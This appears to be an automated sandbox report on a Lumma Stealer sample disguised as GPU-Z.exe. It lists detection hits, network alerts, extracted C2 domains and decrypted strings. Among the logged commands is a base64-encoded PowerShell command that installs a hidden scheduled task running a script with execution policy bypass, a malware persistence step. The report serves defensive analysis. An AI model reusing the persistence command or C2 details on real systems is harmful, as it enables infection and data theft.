Author: Florian Roth (Nextron Systems): Data: Command: powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=, CommandLine: powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" /c powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHM

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1, CommandLine: powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.EXE /c powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2520, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1, ProcessId: 5588, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1, CommandLine: powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.EXE /c powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2520, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -win 1 -noni -ep bypass -file C:\Users\user\AppData\Local\MediaStorage\update.ps1, ProcessId: 5588, ProcessName: powershell.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=, CommandLine: powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" /c powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHM

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=, CommandLine: powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBPAG4AYwBlACAALQBBAHQAIAAiACQAaABgADoAJABtACIAOwAgACQAQQBjAHQAaQBvAG4AIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAIgBjAG0AZAAiACAALQBBAHIAZwB1AG0AZQBuAHQAIAAiAC8AYwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAHcAaQBuACAAMQAgAC0AbgBvAG4AaQAgAC0AZQBwACAAYgB5AHAAYQBzAHMAIAAtAGYAaQBsAGUAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAE0AZQBkAGkAYQBTAHQAbwByAGEAZwBlAFwAdQBwAGQAYQB0AGUALgBwAHMAMQAiADsAIAAkAFAAcgBpAG4AYwBpAHAAYQBsACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBQAHIAaQBuAGMAaQBwAGEAbAAgAC0AVQBzAGUAcgBJAGQAIAAkAEUAbgB2ADoAVQBzAGUAcgBOAGEAbQBlADsAIABSAGUAZwBpAHMAdABlAHIALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAALQBUAGEAcwBrAE4AYQBtAGUAIAAiAE0AZQBkAGkAYQBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd" /c powershell -win 1 -noni -enc JABoACAAPQAgACgARwBlAHQALQBEAGEAdABlACkALgBoAG8AdQByADsAIAAkAG0AIAA9ACAAKABHAGUAdAAtAEQAYQB0AGUAKQAuAEEAZABkAE0AaQBuAHUAdABlAHMAKAAyACkALgBtAGkAbgB1AHQAZQA7ACAAJABUAHIAaQBnAGcAZQByACAAPQAgAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHM

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4508, ProcessName: svchost.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T14:15:36.174040+0100	2028371	3	Unknown Traffic	192.168.2.5	49866	104.102.49.254	443	TCP
2024-12-29T14:15:38.821268+0100	2028371	3	Unknown Traffic	192.168.2.5	49874	172.67.157.254	443	TCP
2024-12-29T14:15:40.210752+0100	2028371	3	Unknown Traffic	192.168.2.5	49879	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T14:15:39.581798+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49874	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T14:15:39.581798+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49874	172.67.157.254	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T14:15:33.290571+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.5	64634	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T14:15:33.762729+0100	2058358	1	Domain Observed Used for C2 Detected	192.168.2.5	51225	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T14:15:32.460407+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.5	53803	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T14:15:32.916511+0100	2058362	1	Domain Observed Used for C2 Detected	192.168.2.5	51068	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T14:15:32.222362+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.5	62304	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T14:15:32.684389+0100	2058370	1	Domain Observed Used for C2 Detected	192.168.2.5	62224	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T14:15:33.995344+0100	2058374	1	Domain Observed Used for C2 Detected	192.168.2.5	64530	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T14:15:33.525060+0100	2058376	1	Domain Observed Used for C2 Detected	192.168.2.5	64650	1.1.1.1	53	UDP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T14:15:37.038136+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49866	104.102.49.254	443	TCP

Joe Security ANOMALY Windows PowerShell HTTP PE File Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T14:15:33.596494+0100	1810003	2	Potentially Bad Traffic	172.67.190.234	443	192.168.2.5	49860	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T14:15:33.596335+0100	1810000	1	Potentially Bad Traffic	192.168.2.5	49860	172.67.190.234	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://lev-tolstoi.com/apion1

Avira URL Cloud: Label: malware

Found malware configuration

Source: 7.2.AddInProcess32.exe.500000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["energyaffai.lat", "grannyejh.lat", "aspecteirs.lat", "necklacebudi.lat", "crosshuaht.lat", "sustainskelet.lat", "discokeyus.lat", "rapeflowwj.lat"], "Build id": "bFcGh6--1912"}

Multi AV Scanner detection for submitted file

Source: GPU-Z.exe

ReversingLabs: Detection: 55%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Sample uses string decryption to hide its real strings

Source: 00000007.00000002.2578819563.0000000000500000.00000040.00000400.00020000.00000000.sdmp	String decryptor: rapeflowwj.lat
Source: 00000007.00000002.2578819563.0000000000500000.00000040.00000400.00020000.00000000.sdmp	String decryptor: crosshuaht.lat
Source: 00000007.00000002.2578819563.0000000000500000.00000040.00000400.00020000.00000000.sdmp	String decryptor: sustainskelet.lat
Source: 00000007.00000002.2578819563.0000000000500000.00000040.00000400.00020000.00000000.sdmp	String decryptor: aspecteirs.lat
Source: 00000007.00000002.2578819563.0000000000500000.00000040.00000400.00020000.00000000.sdmp	String decryptor: energyaffai.lat
Source: 00000007.00000002.2578819563.0000000000500000.00000040.00000400.00020000.00000000.sdmp	String decryptor: necklacebudi.lat
Source: 00000007.00000002.2578819563.0000000000500000.00000040.00000400.00020000.00000000.sdmp	String decryptor: discokeyus.lat
Source: 00000007.00000002.2578819563.0000000000500000.00000040.00000400.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 00000007.00000002.2578819563.0000000000500000.00000040.00000400.00020000.00000000.sdmp	String decryptor: grannyejh.lat
Source: 00000007.00000002.2578819563.0000000000500000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000007.00000002.2578819563.0000000000500000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000007.00000002.2578819563.0000000000500000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000007.00000002.2578819563.0000000000500000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000007.00000002.2578819563.0000000000500000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000007.00000002.2578819563.0000000000500000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bFcGh6--1912

Source: https://support.google.com/chrome/answer/6315198?product=&error=75035&visit_id=638710749621283108-2082302909&rd=1

HTTP Parser: No favicon

Source: GPU-Z.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.190.234:443 -> 192.168.2.5:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49874 version: TLS 1.2

Source: GPU-Z.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: UpdaterSetup.exe.pdb source: ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe.17.dr
Source:	Binary string: UpdaterSetup.exe.pdbP source: ChromeSetup.exe, 00000012.00000002.3304345481.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe, 00000012.00000000.3086589355.0000000001267000.00000002.00000001.01000000.0000000B.sdmp, ChromeSetup.exe.17.dr
Source:	Binary string: updater.exe.pdb source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr
Source:	Binary string: video_recorder.pdb source: GPU-Z.exe, 00000000.00000002.2848979910.0000000004329000.00000004.00000800.00020000.00000000.sdmp, GPU-Z.exe, 00000000.00000002.2836738327.0000000003321000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, AddInProcess32.exe, 00000006.00000002.3132163077.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: updater.exe.pdbP source: ChromeSetup.exe, 00000012.00000000.3086900144.0000000001321000.00000002.00000001.01000000.0000000B.sdmp, updater.exe, 00000013.00000000.3097423379.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000013.00000002.3303527208.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000000.3098767118.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, updater.exe, 00000014.00000002.3303578634.0000000000B0A000.00000002.00000001.01000000.0000000D.sdmp, ChromeSetup.exe.17.dr, updater.exe.18.dr

Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
